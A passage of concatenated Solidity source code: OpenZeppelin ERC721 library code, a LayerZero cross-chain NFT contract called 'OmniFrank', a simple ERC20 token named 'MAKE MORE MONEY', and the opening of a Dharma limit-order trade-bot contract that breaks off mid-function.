{IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: contracts/NonblockingReceiver.sol pragma solidity ^0.8.6; abstract contract NonblockingReceiver is Ownable, ILayerZeroReceiver { ILayerZeroEndpoint internal endpoint; struct FailedMessages { uint payloadLength; bytes32 payloadHash; } mapping(uint16 => mapping(bytes => mapping(uint => FailedMessages))) public failedMessages; mapping(uint16 => bytes) public trustedRemoteLookup; event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload); function lzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) external override { require(msg.sender == address(endpoint)); // boilerplate! lzReceive must be called by the endpoint for security require(_srcAddress.length == trustedRemoteLookup[_srcChainId].length && keccak256(_srcAddress) == keccak256(trustedRemoteLookup[_srcChainId]), "NonblockingReceiver: invalid source sending contract"); // try-catch all errors/exceptions // having failed messages does not block messages passing try this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload) { // do nothing } catch { // error / exception failedMessages[_srcChainId][_srcAddress][_nonce] = FailedMessages(_payload.length, keccak256(_payload)); emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload); } } function onLzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) public { // only internal transaction require(msg.sender == address(this), "NonblockingReceiver: caller must be Bridge."); // handle incoming message _LzReceive( _srcChainId, _srcAddress, _nonce, _payload); } // abstract function function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) virtual internal; function _lzSend(uint16 _dstChainId, bytes memory _payload, address payable _refundAddress, address _zroPaymentAddress, bytes memory _txParam) internal { endpoint.send{value: msg.value}(_dstChainId, trustedRemoteLookup[_dstChainId], _payload, _refundAddress, _zroPaymentAddress, _txParam); } function retryMessage(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes calldata _payload) external payable { // assert there is message to retry FailedMessages storage failedMsg = failedMessages[_srcChainId][_srcAddress][_nonce]; require(failedMsg.payloadHash != bytes32(0), "NonblockingReceiver: no stored message"); require(_payload.length == failedMsg.payloadLength && keccak256(_payload) == failedMsg.payloadHash, "LayerZero: invalid payload"); // clear the stored message failedMsg.payloadLength = 0; failedMsg.payloadHash = bytes32(0); // execute the message. revert if it fails again this.onLzReceive(_srcChainId, _srcAddress, _nonce, _payload); } function setTrustedRemote(uint16 _chainId, bytes calldata _trustedRemote) external onlyOwner { trustedRemoteLookup[_chainId] = _trustedRemote; } } // File: contracts/OmniFrank.sol pragma solidity ^0.8.7; contract OmniFrank is Ownable, ERC721, NonblockingReceiver { address public _owner; string private baseURI; uint256 nextTokenId = 0; uint256 MAX_MINT_ETHEREUM = 1000; bool public isRevealed = false; uint gasForDestinationLzReceive = 350000; constructor(string memory baseURI_, address _layerZeroEndpoint) ERC721("OmniFrank", "OF") { _owner = msg.sender; endpoint = ILayerZeroEndpoint(_layerZeroEndpoint); baseURI = baseURI_; } // mint function // you can choose to mint 1 or 2 // mint is free, but payments are accepted function mint(uint8 numTokens) external payable { require(numTokens < 3, "OF: Max 2 NFTs per transaction"); require(nextTokenId + numTokens <= MAX_MINT_ETHEREUM, "OF: Mint exceeds supply"); _safeMint(msg.sender, ++nextTokenId); if (numTokens == 2) { _safeMint(msg.sender, ++nextTokenId); } } // This function transfers the nft from your address on the // source chain to the same address on the destination chain function traverseChains(uint16 _chainId, uint tokenId) public payable { require(msg.sender == ownerOf(tokenId), "You must own the token to traverse"); require(trustedRemoteLookup[_chainId].length > 0, "This chain is currently unavailable for travel"); // burn NFT, eliminating it from circulation on src chain _burn(tokenId); // abi.encode() the payload with the values to send bytes memory payload = abi.encode(msg.sender, tokenId); // encode adapterParams to specify more gas for the destination uint16 version = 1; bytes memory adapterParams = abi.encodePacked(version, gasForDestinationLzReceive); // get the fees we need to pay to LayerZero + Relayer to cover message delivery // you will be refunded for extra gas paid (uint messageFee, ) = endpoint.estimateFees(_chainId, address(this), payload, false, adapterParams); require(msg.value >= messageFee, "OF: msg.value not enough to cover messageFee. Send gas for message fees"); endpoint.send{value: msg.value}( _chainId, // destination chainId trustedRemoteLookup[_chainId], // destination address of nft contract payload, // abi.encoded()'ed bytes payable(msg.sender), // refund address address(0x0), // 'zroPaymentAddress' unused for this adapterParams // txParameters ); } function setBaseURI(string memory URI) external onlyOwner { baseURI = URI; } function doReveal(bool is_revealed, string memory URI) external onlyOwner { isRevealed = is_revealed; baseURI = URI; } function donate() external payable { // thank you } // This allows the devs to receive kind donations function withdraw(uint amt) external onlyOwner { (bool sent, ) = payable(_owner).call{value: amt}(""); require(sent, "OF: Failed to withdraw Ether"); } // just in case this fixed variable limits us from future integrations function setGasForDestinationLzReceive(uint newVal) external onlyOwner { gasForDestinationLzReceive = newVal; } // ------------------ // Internal Functions // ------------------ function _LzReceive(uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload) override internal { // decode (address toAddr, uint tokenId) = abi.decode(_payload, (address, uint)); // mint the tokens back into existence on destination chain _safeMint(toAddr, tokenId); } function _baseURI() override internal view returns (string memory) { return baseURI; } using Strings for uint256; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (!isRevealed) { return _baseURI(); } string memory bbaseURI = _baseURI(); return bytes(bbaseURI).length > 0 ? string(abi.encodePacked(bbaseURI, tokenId.toString())) : ""; } }

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/** *Submitted for verification at Etherscan.io on 2020-11-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.6; contract Owned { modifier onlyOwner() { require(msg.sender==owner); _; } address payable owner; address payable newOwner; function changeOwner(address payable _newOwner) public onlyOwner { require(_newOwner!=address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender==newOwner) { owner = newOwner; } } } abstract contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) view public virtual returns (uint256 balance); function transfer(address _to, uint256 _value) public virtual returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public virtual returns (bool success); function approve(address _spender, uint256 _value) public virtual returns (bool success); function allowance(address _owner, address _spender) view public virtual returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Token is Owned, ERC20 { string public symbol; string public name; uint8 public decimals; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; function balanceOf(address _owner) view public virtual override returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public virtual override returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public virtual override returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public virtual override returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public virtual override returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract make_more_money is Token{ constructor() public{ symbol = "M3 C"; name = "MAKE MORE MONEY"; decimals = 18; totalSupply = 50000000000000000000000; owner = msg.sender; balances[owner] = totalSupply; } receive () payable external { require(msg.value>0); owner.transfer(msg.value); } }

True

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pragma solidity 0.6.12; // optimization runs: 200, evm version: istanbul pragma experimental ABIEncoderV2; interface DharmaTradeBotV1Interface { event LimitOrderProcessed( address indexed account, address indexed suppliedAsset, // Ether = address(0) address indexed receivedAsset, // Ether = address(0) uint256 suppliedAmount, uint256 receivedAmount, bytes32 orderID ); event LimitOrderCancelled(bytes32 orderID); event RoleModified(Role indexed role, address account); event RolePaused(Role indexed role); event RoleUnpaused(Role indexed role); enum Role { BOT_COMMANDER, CANCELLER, PAUSER } struct RoleStatus { address account; bool paused; } struct LimitOrderArguments { address account; address assetToSupply; // Ether = address(0) address assetToReceive; // Ether = address(0) uint256 maximumAmountToSupply; uint256 maximumPriceToAccept; // represented as a mantissa (n * 10^18) uint256 expiration; bytes32 salt; } struct LimitOrderExecutionArguments { uint256 amountToSupply; // will be lower than maximum for partial fills bytes signatures; address tradeTarget; bytes tradeData; } function processLimitOrder( LimitOrderArguments calldata args, LimitOrderExecutionArguments calldata executionArgs ) external returns (uint256 amountReceived); function cancelLimitOrder(LimitOrderArguments calldata args) external; function setRole(Role role, address account) external; function removeRole(Role role) external; function pause(Role role) external; function unpause(Role role) external; function isPaused(Role role) external view returns (bool paused); function isRole(Role role) external view returns (bool hasRole); function getOrderID( LimitOrderArguments calldata args ) external view returns (bytes32 orderID, bool valid); function getBotCommander() external view returns (address botCommander); function getCanceller() external view returns (address canceller); function getPauser() external view returns (address pauser); } interface SupportingContractInterface { function setApproval(address token, uint256 amount) external; } interface ERC1271Interface { function isValidSignature( bytes calldata data, bytes calldata signatures ) external view returns (bytes4 magicValue); } interface ERC20Interface { function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function approve(address, uint256) external returns (bool); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } /** * @notice Contract module which provides a basic access control mechanism, * where there is an account (an owner) that can be granted exclusive access * to specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. * * In order to transfer ownership, a recipient must be specified, at which point * the specified recipient can call `acceptOwnership` and take ownership. */ contract TwoStepOwnable { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address private _owner; address private _newPotentialOwner; /** * @notice Initialize contract with transaction submitter as initial owner. */ constructor() internal { _owner = tx.origin; emit OwnershipTransferred(address(0), _owner); } /** * @notice Allows a new account (`newOwner`) to accept ownership. * Can only be called by the current owner. */ function transferOwnership(address newOwner) external onlyOwner { require( newOwner != address(0), "TwoStepOwnable: new potential owner is the zero address." ); _newPotentialOwner = newOwner; } /** * @notice Cancel a transfer of ownership to a new account. * Can only be called by the current owner. */ function cancelOwnershipTransfer() external onlyOwner { delete _newPotentialOwner; } /** * @notice Transfers ownership of the contract to the caller. * Can only be called by a new potential owner set by the current owner. */ function acceptOwnership() external { require( msg.sender == _newPotentialOwner, "TwoStepOwnable: current owner must set caller as new potential owner." ); delete _newPotentialOwner; emit OwnershipTransferred(_owner, msg.sender); _owner = msg.sender; } /** * @notice Returns the address of the current owner. */ function owner() external view returns (address) { return _owner; } /** * @notice Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @notice Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "TwoStepOwnable: caller is not the owner."); _; } } /** * @title DharmaTradeBotV1Staging * @author 0age * @notice DharmaTradeBot is a contract for performing meta-transaction-enabled * limit orders against external automated money markets or other sources of * on-chain liquidity. Eth-to-Token trades require that `triggerEtherTransfer` * is implemented on the account making the trade, and all trades require * that the account implements `isValidSignature` as specified by ERC-1271, * as well as a `setApproval` function, in order to enable meta-transactions. * For Eth-to-token trades, the Eth amount is forwarded as part of the trade. */ contract DharmaTradeBotV1Staging is DharmaTradeBotV1Interface, TwoStepOwnable { using SafeMath for uint256; // Maintain a role status mapping with assigned accounts and paused states. mapping(uint256 => RoleStatus) private _roles; // Maintain a mapping of invalid meta-transaction order IDs. mapping (bytes32 => bool) private _invalidMetaTxHashes; ERC20Interface private constant _ETHERIZER = ERC20Interface( 0x723B51b72Ae89A3d0c2a2760f0458307a1Baa191 ); bool public constant staging = true; receive() external payable {} /** * @notice Only callable by the bot commander or the owner. Enforces the * expiration (or skips if it is set to zero) and trade size, validates * the execution signatures using ERC-1271 against the account, sets * approval to transfer the supplied token on behalf of that account, * pulls in the necessary supplied tokens, sets an allowance for the * provided trade target, calls the trade target with supplied data, * ensures that the call was successful, calculates the required amount * that must be received back based on the supplied amount and price, * ensures that at least that amount was returned, sends it to the * account, and emits an event. Use the null address to signify that * the supplied or retained asset is Ether. * @return amountReceived The amount received back from the trade. */ function processLimitOrder( LimitOrderArguments calldata args, LimitOrderExecutionArguments calldata executionArgs ) external override onlyOwnerOr(Role.BOT_COMMANDER) returns ( uint256 amountReceived ) { _enforceExpiration(args.expiration); require( executionArgs.amountToSupply <= args.maximumAmountToSupply, "Cannot supply more than the maximum authorized amount." ); require( args.assetToSupply != args.assetToReceive, "Asset to supply and asset to receive cannot be identical." ); if (executionArgs.tradeData.length >= 4) { require( abi.decode( abi.encodePacked(executionArgs.tradeData[:4], bytes28(0)), (bytes4) ) != SupportingContractInterface.setApproval.selector, "Trade data has a prohibited function selector." ); } // Construct order's "context" and use it to validate meta-transaction. bytes memory context = _constructLimitOrderContext(args); bytes32 orderID = _validateMetaTransaction( args.account, context, executionArgs.signatures ); // Determine asset supplied (use Etherizer for Ether) and ether value. ERC20Interface assetToSupply; uint256 etherValue; if (args.assetToSupply == address(0)) { assetToSupply = _ETHERIZER; etherValue = executionArgs.amountToSupply; } else { assetToSupply = ERC20Interface(args.assetToSupply); etherValue = 0; // Ensure that target has allowance to transfer tokens. _grantApprovalIfNecessary( assetToSupply, executionArgs.tradeTarget, executionArgs.amountToSupply ); } // Call `setApproval` on the supplying account. SupportingContractInterface(args.account).setApproval( address(assetToSupply), executionArgs.amountToSupply ); // Make the transfer in. _transferInToken( assetToSupply, args.account, executionArgs.amountToSupply ); // Call into target, supplying data and value, and revert on failure. _performCallToTradeTarget( executionArgs.tradeTarget, executionArgs.tradeData, etherValue ); // Determine amount expected back using supplied amount and price. uint256 amountExpected = ( executionArgs.amountToSupply.mul(1e18) ).div( args.maximumPriceToAccept ); if (args.assetToReceive == address(0)) { // Determine ether balance held by this contract. amountReceived = address(this).balance; // Ensure that enough Ether was received. require( amountReceived >= amountExpected, "Trade did not result in the expected amount of Ether." ); // Transfer the Ether out and revert on failure. _transferEther(args.account, amountReceived); } else { ERC20Interface assetToReceive = ERC20Interface(args.assetToReceive); // Determine balance of received tokens held by this contract. amountReceived = assetToReceive.balanceOf(address(this)); // Ensure that enough tokens were received. require( amountReceived >= amountExpected, "Trade did not result in the expected amount of tokens." ); // Transfer the tokens and revert on failure. _transferOutToken(assetToReceive, args.account, amountReceived); } emit LimitOrderProcessed( args.account, args.assetToSupply, args.assetToReceive, executionArgs.amountToSupply, amountReceived, orderID ); } /** * @notice Cancels a potential limit order. Only the owner, the account * in question, or the canceller role may call this function. */ function cancelLimitOrder( LimitOrderArguments calldata args ) external override onlyOwnerOrAccountOr(Role.CANCELLER, args.account) { _enforceExpiration(args.expiration); // Construct the order ID using relevant "context" of the limit order. bytes32 orderID = keccak256(_constructLimitOrderContext(args)); // Ensure the order ID has not been used or cancelled and invalidate it. require( !_invalidMetaTxHashes[orderID], "Meta-transaction already invalid." ); _invalidMetaTxHashes[orderID] = true; emit LimitOrderCancelled(orderID); } /** * @notice Pause a currently unpaused role and emit a `RolePaused` event. Only * the owner or the designated pauser may call this function. Also, bear in * mind that only the owner may unpause a role once paused. * @param role The role to pause. */ function pause(Role role) external override onlyOwnerOr(Role.PAUSER) { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; require(!storedRoleStatus.paused, "Role in question is already paused."); storedRoleStatus.paused = true; emit RolePaused(role); } /** * @notice Unpause a currently paused role and emit a `RoleUnpaused` event. * Only the owner may call this function. * @param role The role to pause. */ function unpause(Role role) external override onlyOwner { RoleStatus storage storedRoleStatus = _roles[uint256(role)]; require(storedRoleStatus.paused, "Role in question is already unpaused."); storedRoleStatus.paused = false; emit RoleUnpaused(role); } /** * @notice Set a new account on a given role and emit a `RoleModified` event * if the role holder has changed. Only the owner may call this function. * @param role The role that the account will be set for. * @param account The account to set as the designated role bearer. */ function setRole(Role role, address account) external override onlyOwner { require(account != address(0), "Must supply an account."); _setRole(role, account); } /** * @notice Remove any current role bearer for a given role and emit a * `RoleModified` event if a role holder was previously set. Only the owner * may call this function. * @param role The role that the account will be removed from. */ function removeRole(Role role) external override onlyOwner { _setRole(role, address(0)); } /** * @notice View function to determine an order's meta-transaction message hash * and to determine if it is still valid (i.e. it has not yet been used and is * not expired). The returned order ID will need to be prefixed using EIP-191 * 0x45 and hashed again in order to generate a final digest for the required * signature - in other words, the same procedure utilized by `eth_Sign`. * @return orderID The ID corresponding to the limit order's meta-transaction. */ function getOrderID( LimitOrderArguments calldata args ) external view override returns (bytes32 orderID, bool valid) { // Construct the order ID based on relevant context. orderID = keccak256(_constructLimitOrderContext(args)); // The meta-transaction is valid if it has not been used and is not expired. valid = ( !_invalidMetaTxHashes[orderID] && ( args.expiration == 0 || block.timestamp <= args.expiration ) ); 